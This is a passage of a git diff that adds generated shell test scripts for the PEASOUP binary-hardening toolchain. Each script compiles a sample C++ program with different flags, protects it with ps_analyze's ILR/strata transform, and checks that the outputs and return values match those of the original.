+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f4204d37165ea23c77b83e981d298a1b50545260
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3     -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3     -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..887c2b5c73d9bfe2b742bb11da71017943d81435
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3       -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3       -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..43ccda6be57b39a411d3e086bd8477a02d2f107b
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-O3.no_pic.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -O3       -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -O3       -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..d71c06b86efd829ff8f498e856bb16373bee6837
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..28a4380ef3a2b1a943f2834af9e6d6133184541e
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7b4327d690d2851ec1d8c63f096ff5e3f0635f06
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.-Os.-fPIC.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles -Os -fPIC -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
